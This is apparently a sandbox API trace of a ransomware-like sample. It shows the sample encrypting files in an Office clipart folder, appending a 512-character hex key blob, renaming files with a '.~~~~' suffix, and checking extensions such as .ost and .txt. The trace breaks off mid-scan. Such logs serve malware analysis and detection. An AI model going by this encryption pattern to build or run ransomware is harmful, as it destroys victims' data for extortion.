	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28084b8
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28084b8 | out: hHeap=0x300000) returned 1
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a1d0
	[0108.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.826] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.826] GetLastError () returned 0x0
	[0108.827] GetLastError () returned 0x0
	[0108.827] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.827] GetLastError () returned 0x0
	[0108.827] GetLastError () returned 0x0
	[0108.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd5be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.829] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2a42, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x2a42, lpOverlapped=0x0) returned 1
	[0108.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.830] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.830] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.830] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.830] CloseHandle (hObject=0x130) returned 1
	[0108.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.~~~~")) returned 1
	[0108.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.832] GetLastError () returned 0x0
	[0108.832] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.833] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.833] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.833] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22882354918) returned 1
	[0108.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa859810, dwHighDateTime=0x1d60e1e)) 
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28084f0
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28084f0 | out: hHeap=0x300000) returned 1
	[0108.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4ab0
	[0108.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a1d0
	[0108.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ab0 | out: hHeap=0x300000) returned 1
	[0108.848] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.848] GetLastError () returned 0x0
	[0108.849] GetLastError () returned 0x0
	[0108.849] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.849] GetLastError () returned 0x0
	[0108.849] GetLastError () returned 0x0
	[0108.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff156, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.853] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xeaa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0xeaa, lpOverlapped=0x0) returned 1
	[0108.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.855] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.855] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.855] CloseHandle (hObject=0x130) returned 1
	[0108.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4ab0
	[0108.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.~~~~")) returned 1
	[0108.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ab0 | out: hHeap=0x300000) returned 1
	[0108.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.859] GetLastError () returned 0x0
	[0108.859] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.860] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.860] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.861] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22885073047) returned 1
	[0108.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa8a5ad0, dwHighDateTime=0x1d60e1e)) 
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808560
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808560 | out: hHeap=0x300000) returned 1
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4ab0
	[0108.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a300
	[0108.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ab0 | out: hHeap=0x300000) returned 1
	[0108.861] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.862] GetLastError () returned 0x0
	[0108.862] GetLastError () returned 0x0
	[0108.862] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.862] GetLastError () returned 0x0
	[0108.862] GetLastError () returned 0x0
	[0108.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffec7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.864] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x1384, lpOverlapped=0x0) returned 1
	[0108.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.866] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.866] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.866] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.866] CloseHandle (hObject=0x130) returned 1
	[0108.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4df8
	[0108.866] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.~~~~")) returned 1
	[0108.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4df8 | out: hHeap=0x300000) returned 1
	[0108.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.868] GetLastError () returned 0x0
	[0108.869] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.870] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.870] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.870] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22886005066) returned 1
	[0108.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa8cbc30, dwHighDateTime=0x1d60e1e)) 
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808598
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808598 | out: hHeap=0x300000) returned 1
	[0108.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4df8
	[0108.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a430
	[0108.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4df8 | out: hHeap=0x300000) returned 1
	[0108.871] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.871] GetLastError () returned 0x0
	[0108.872] GetLastError () returned 0x0
	[0108.872] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.872] GetLastError () returned 0x0
	[0108.872] GetLastError () returned 0x0
	[0108.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff79c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.874] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x864, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x864, lpOverlapped=0x0) returned 1
	[0108.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.876] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.876] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.876] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.876] CloseHandle (hObject=0x130) returned 1
	[0108.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4df8
	[0108.876] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.~~~~")) returned 1
	[0108.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4df8 | out: hHeap=0x300000) returned 1
	[0108.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.877] GetLastError () returned 0x0
	[0108.878] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.879] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.879] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.879] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22886906602) returned 1
	[0108.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa8cbc30, dwHighDateTime=0x1d60e1e)) 
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28085d0
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28085d0 | out: hHeap=0x300000) returned 1
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4df8
	[0108.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a4c8
	[0108.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4df8 | out: hHeap=0x300000) returned 1
	[0108.880] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.880] GetLastError () returned 0x0
	[0108.880] GetLastError () returned 0x0
	[0108.880] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.880] GetLastError () returned 0x0
	[0108.880] GetLastError () returned 0x0
	[0108.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffee8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.883] WriteFile (in: hFile=0x130, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x1172, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x1172, lpOverlapped=0x0) returned 1
	[0108.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.884] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.884] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.884] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.884] CloseHandle (hObject=0x130) returned 1
	[0108.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4df8
	[0108.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.~~~~")) returned 1
	[0108.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4df8 | out: hHeap=0x300000) returned 1
	[0108.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.885] GetLastError () returned 0x0
	[0108.890] lstrlenW (lpString=".sqb") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".sqb") returned 0x0
	[0108.890] lstrlenW (lpString=".ost") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".ost") returned 0x0
	[0108.890] lstrlenW (lpString=".txt") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".txt") returned 0x0
	[0108.890] lstrlenW (lpString=".mdt") returned 4
	[0108.890] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", lpSrch=".mdt") returned 0x0
	[0108.890] lstrlenW (lpString=".BDB") returned 4
